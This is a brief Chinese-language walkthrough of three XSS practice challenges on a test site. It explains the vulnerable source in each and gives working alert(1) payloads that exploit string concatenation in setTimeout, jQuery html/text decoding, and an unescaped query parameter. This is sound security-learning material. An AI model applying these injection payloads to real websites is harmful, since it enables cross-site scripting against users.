第一题
链接
源码:
location.hash:hash 属性是一个可读可写的字符串,该字符串是 URL 的锚部分(从 # 号开始的部分)。
setTimeout: setTimeout() 方法用于在指定的毫秒数后调用函数或计算表达式。
这道题的关键就在这行代码setTimeout(“aa(’”+x+"’)",100);
Payload:setTimeout(“aa(’”+"’,alert(1),’"+"’)",100);在控制台测试即可成功弹窗。
第二题
链接
源码:
首先获取了location.search的内容,最终aa函数执行了 $("#xx")[x]($("#xx")[y]());
Payload:$("#xx")[“html”]($("#xx")[“text”]());
URL:http://px1624.sinaapp.com/test/xsstest2/?html&text
上面给出的payload第一个参数是html,这个并不唯一,只要能够执行dom操作的函数都可以,第二个参数必须为text,原因如下:
可以看到,text()函数会把html编码后的代码给还原回来,这个其实也是这个题的考点。
第三题
链接
源码:
通过源码分析关键点在变量上,不是px就是xss这两个。经过测试确定变量为px。
已经发现了关键点在哪里那么目标就是构造URL弹窗就可以了。
Payload:http://px1624.sinaapp.com/test/xsstest3/?px=asd%27%2balert(1)%2b%27